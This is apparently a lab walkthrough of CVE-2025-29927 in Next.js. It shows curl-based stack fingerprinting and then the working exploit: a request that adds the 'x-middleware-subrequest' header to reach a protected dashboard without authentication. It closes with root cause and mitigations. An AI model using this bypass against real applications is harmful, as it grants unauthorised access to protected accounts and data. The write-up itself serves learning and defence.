

CVEs:2025-29927-Next.js Middleware Authentication Bypass –

Overview

This task focused on identifying a modern web stack and understanding how attackers use stack fingerprinting to discover and exploit known vulnerabilities.

The target application was built using Next.js and was vulnerable to:

CVE-2025-29927

This vulnerability allowed attackers to bypass authentication and access protected pages without logging in.

What is Next.js?

Next.js is a React-based web framework used for:

- dashboards,
- SaaS applications,
- admin panels,
- and modern websites.

It runs on:

- Node.js
 - React
 - server-side rendering technologies.
-

What Technique Was Used?

Stack Fingerprinting

The first technique used was:

stack fingerprinting.

This means identifying the technology running behind the website using passive signals like:

- HTTP headers,
- cookies,
- error messages,
- and URL patterns

How the Stack Was Identified

The following command was used:

curl -I http://TARGET:3001/

The response showed:

```
root@ip-10-49-119-55:~# curl -I http://10.49.188.167:3001/
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
x-nextjs-cache: HIT
x-nextjs-prerender: 1
x-nextjs-stale-time: 4294967294
X-Powered-By: Next.js
Cache-Control: s-maxage=31536000,
ETag: "1pqu4ojvif3at"
Content-Type: text/html; charset=utf-8
Content-Length: 4277
Date: Wed, 27 May 2026 05:44:31 GMT
Connection: keep-alive
Keep-Alive: timeout=5
```

Other indicators:

- `/_next/static/`
- `window.__next_f`

These confirmed the application was running Next.js with the App Router architecture

What Component Was Vulnerable?

Middleware

Next.js uses a feature called:

middleware.

Middleware works like a security checkpoint before users access protected pages.

Example:

- user requests `/dashboard`
- middleware checks login session
- if not logged in → redirects to `/login`

What Caused the Vulnerability?

Next.js internally used a special header:

x-middleware-subrequest

This header was supposed to be used only by the framework internally.

Its purpose was:

- preventing middleware loops,
 - and managing internal requests.
-

The Main Problem

The framework trusted this internal header even when it came from external users.

There was:

- no validation,
- no verification,
- and no check whether the request was internal.

Because of this, attackers could manually add the header themselves.

How the Exploit Worked

Normally:

- visiting [/dashboard](#)
- redirects unauthenticated users to [/login](#).

Example:

curl -v http://TARGET:3001/dashboard

Response:

```
root@ip-10-49-119-55:~# curl -v http://10.49.188.167:3001/dashboard
* Trying 10.49.188.167:3001...
* TCP_NODELAY set
* Connected to 10.49.188.167 (10.49.188.167) port 3001 (#0)
> GET /dashboard HTTP/1.1
Host: 10.49.188.167:3001
User-Agent: curl/7.68.0
Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 307 Temporary Redirect
< location: /login
< Date: Wed, 27 May 2026 05:46:19 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< Transfer-Encoding: chunked
<
* Connection #0 to host 10.49.188.167 left intact
/login root@ip-10-49-119-55:~#
```

This showed middleware protection was active.

Exploitation Technique

The attacker manually added the internal middleware header:

```
root@ip-10-49-119-55:~# curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:are" http://10.49.188.167:3001/dashboard
```

What Happened Internally

When Next.js received the request:

- it detected the special header,
- assumed middleware already executed,
- skipped authentication checks,
- and directly loaded the protected page.

Result

The attacker accessed the protected dashboard without login

[illegible]

This is called:
authentication bypass.

Why This Vulnerability Was Dangerous

This vulnerability was critical because:

- no credentials were needed,
- no brute force was required,
- exploitation required only one HTTP header,
- and many production applications relied entirely on middleware authentication.

Root Cause

The root cause was:

- trusting internal framework headers from external users.
- The application failed to properly validate internal requests.

Key Learning

This task demonstrated:

- how stack fingerprinting helps attackers,
- how framework-specific vulnerabilities are identified,
- and why modern web frameworks can create new attack surfaces.

It also showed the importance of:

- validating internal headers,
- secure middleware design,
- and proper authentication checks.

Mitigation

Recommended fixes:

- update Next.js to patched versions,
- validate internal headers,
- avoid relying only on middleware for authorization,
- implement backend access control checks.